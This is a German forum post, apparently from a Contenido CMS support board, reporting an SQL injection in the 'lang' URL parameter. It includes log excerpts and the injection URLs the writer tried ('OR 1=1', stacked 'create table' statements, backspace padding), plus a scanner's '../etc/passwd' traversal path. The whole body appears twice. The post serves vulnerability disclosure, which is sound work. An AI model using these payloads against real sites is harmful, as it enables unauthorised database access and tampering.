maybe harmful SQL Injection possible??
Verfasst: Di 4. Aug 2009, 17:05
Hi,
Ich war dabei mod_security2 im Apache vor Contenido zu testen, und habe nikto drauf losgelassen. Erstmal alles gut. Dann habe ich das mod_security2 wieder abgeschalten, und nikto nochmals laufen lassen. Dabei sind mir folgende Fehlermeldungen wg. kaputter SQL Syntax im Contenido log aufgefallen die mir ein wenig sorge bereiteten:
[04-Aug-2009 16:58:31] /k/home?dir=/&file=../../../../../../../../etc/passwd&lang=kor; MySQL error 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'kor' at line 1
SELECT cl.idcat, cl.urlpath FROM con_cat_lang AS cl, con_cat AS c WHERE c.idclient = 1 AND c.idcat = cl.idcat AND cl.idlang = 2;create table blah (blubb int);
[04-Aug-2009 16:58:31] /k/home?dir=/&file=../../../../../../../../etc/passwd&lang=kor; next_record called with no query pending.
Dann habe ich halt mal folgendes probiert:
/k/home?dir=/&file=../../../../../../../../etc/passwd&lang=2%20OR%201=1
Und es kam kein Fehler im Contenido Log, was dann im mysql query log folgendermassen aussah:
SELECT cl.idcat, cl.urlpath FROM con_cat_lang AS cl, con_cat AS c WHERE c.idclient = 1 AND c.idcat = cl.idcat AND cl.idlang = 2 OR 1=1
also hat er mein untergeschobenes SQL schön ausgeführt, ohne zu zucken.
Habe auch folgende Sachen probiert:
/k/home?dir=/&file=../../../../../../../../etc/passwd&lang=2;create%20table%20blah%20(blubb%20int);;;;
oder:
/k/home?dir=/&file=../../../../../../../../etc/passwd&lang=2;%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08create%20table%20blah%20(blubb%20int);--
wobei immer felher im contenido log auftauchten, und zumindest die Tabelle blah nicht kreiert wurde.
bei der 2. Query interessant das contenido log:
[04-Aug-2009 17:47:23] /k/home?dir=/&file=../../../../../../../../etc/passwd&lang=2;%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08create%20table%20blah%20(blubb%20int);-- MySQL error 1064: You have an error in your SQL syntax; check the manual ' at line 1ponds to your MySQL server version for the right syntax to use near '
create table blah (blubb int);--lang AS cl, con_cat AS c WHERE c.idclient = 1 AND c.idcat = cl.idcat AND cl.idlang = 2;
[04-Aug-2009 17:47:23] /k/home?dir=/&file=../../../../../../../../etc/passwd&lang=2;%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08create%20table%20blah%20(blubb%20int);-- next_record called with no query pending.
und im mysql query log habe ich nur noch das create table blah (blubb int);-- gesehen.
In der Kürze der Zeit habe ich es nicht geschafft, eine Tabelle oder einen neuen Benutzer anzulegen, da es scheint das das php mysql keine zwei Befehle durch ; getrennt an den mysqld schickt.
Keine Ahnung ob man das möglicherweise ausnutzen kann, um einigen schabernack zu veranstalten, ich schätze mal, eine SUBQUERY oder ähnliche sachen könnten möglicherweise auch funktionieren.
Meinungen?
cheers
Sebastian
Ich war dabei mod_security2 im Apache vor Contenido zu testen, und habe nikto drauf losgelassen. Erstmal alles gut. Dann habe ich das mod_security2 wieder abgeschalten, und nikto nochmals laufen lassen. Dabei sind mir folgende Fehlermeldungen wg. kaputter SQL Syntax im Contenido log aufgefallen die mir ein wenig sorge bereiteten:
[04-Aug-2009 16:58:31] /k/home?dir=/&file=../../../../../../../../etc/passwd&lang=kor; MySQL error 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'kor' at line 1
SELECT cl.idcat, cl.urlpath FROM con_cat_lang AS cl, con_cat AS c WHERE c.idclient = 1 AND c.idcat = cl.idcat AND cl.idlang = 2;create table blah (blubb int);
[04-Aug-2009 16:58:31] /k/home?dir=/&file=../../../../../../../../etc/passwd&lang=kor; next_record called with no query pending.
Dann habe ich halt mal folgendes probiert:
/k/home?dir=/&file=../../../../../../../../etc/passwd&lang=2%20OR%201=1
Und es kam kein Fehler im Contenido Log, was dann im mysql query log folgendermassen aussah:
SELECT cl.idcat, cl.urlpath FROM con_cat_lang AS cl, con_cat AS c WHERE c.idclient = 1 AND c.idcat = cl.idcat AND cl.idlang = 2 OR 1=1
also hat er mein untergeschobenes SQL schön ausgeführt, ohne zu zucken.
Habe auch folgende Sachen probiert:
/k/home?dir=/&file=../../../../../../../../etc/passwd&lang=2;create%20table%20blah%20(blubb%20int);;;;
oder:
/k/home?dir=/&file=../../../../../../../../etc/passwd&lang=2;%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08create%20table%20blah%20(blubb%20int);--
wobei immer felher im contenido log auftauchten, und zumindest die Tabelle blah nicht kreiert wurde.
bei der 2. Query interessant das contenido log:
[04-Aug-2009 17:47:23] /k/home?dir=/&file=../../../../../../../../etc/passwd&lang=2;%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08create%20table%20blah%20(blubb%20int);-- MySQL error 1064: You have an error in your SQL syntax; check the manual ' at line 1ponds to your MySQL server version for the right syntax to use near '
create table blah (blubb int);--lang AS cl, con_cat AS c WHERE c.idclient = 1 AND c.idcat = cl.idcat AND cl.idlang = 2;
[04-Aug-2009 17:47:23] /k/home?dir=/&file=../../../../../../../../etc/passwd&lang=2;%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08%08create%20table%20blah%20(blubb%20int);-- next_record called with no query pending.
und im mysql query log habe ich nur noch das create table blah (blubb int);-- gesehen.
In der Kürze der Zeit habe ich es nicht geschafft, eine Tabelle oder einen neuen Benutzer anzulegen, da es scheint das das php mysql keine zwei Befehle durch ; getrennt an den mysqld schickt.
Keine Ahnung ob man das möglicherweise ausnutzen kann, um einigen schabernack zu veranstalten, ich schätze mal, eine SUBQUERY oder ähnliche sachen könnten möglicherweise auch funktionieren.
Meinungen?
cheers
Sebastian